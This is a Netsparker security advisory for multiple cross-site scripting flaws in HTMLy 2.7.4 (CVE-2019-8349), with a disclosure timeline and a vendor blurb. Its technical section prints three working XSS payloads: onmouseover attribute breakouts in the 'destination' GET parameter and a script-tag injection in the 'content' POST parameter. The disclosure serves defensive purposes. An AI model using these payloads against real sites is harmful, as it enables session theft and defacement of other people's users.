HTMLy 2.7.4 Cross Site Scripting

HTMLy version 2.7.4 suffers from multiple cross site scripting vulnerabilities.

MD5 | 9c2fae1f1a3125e338c33a0c3d901126

Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4


Advisory by Netsparker
Name: Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4
Affected Software: HTMLy
Affected Versions: 2.7.4
Vulnerability: Cross-Site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2019-8349
CVSS Score (3.0): CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-059

Technical Details

URL" onmouseover=netsparker(0x004191) x="
Parameter Name destination
Parameter Type GET
Attack Pattern x%22+onmouseover%3dnetsparker(0x004191)+x%3d%22

URL" onmouseover=netsparker(0x00409D) x="
Parameter Name destination
Parameter Type GET
Attack Pattern x%22+onmouseover%3dnetsparker(0x00409D)+x%3d%22

Injection URL
Parameter Name content
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>netsparker(0x005D63)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

28th November 2018 - First Contact
29th November 2018 - Details Sent
23rd January 2019 - Last Attempt to Contact
18th February 2019 - Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website for more information.

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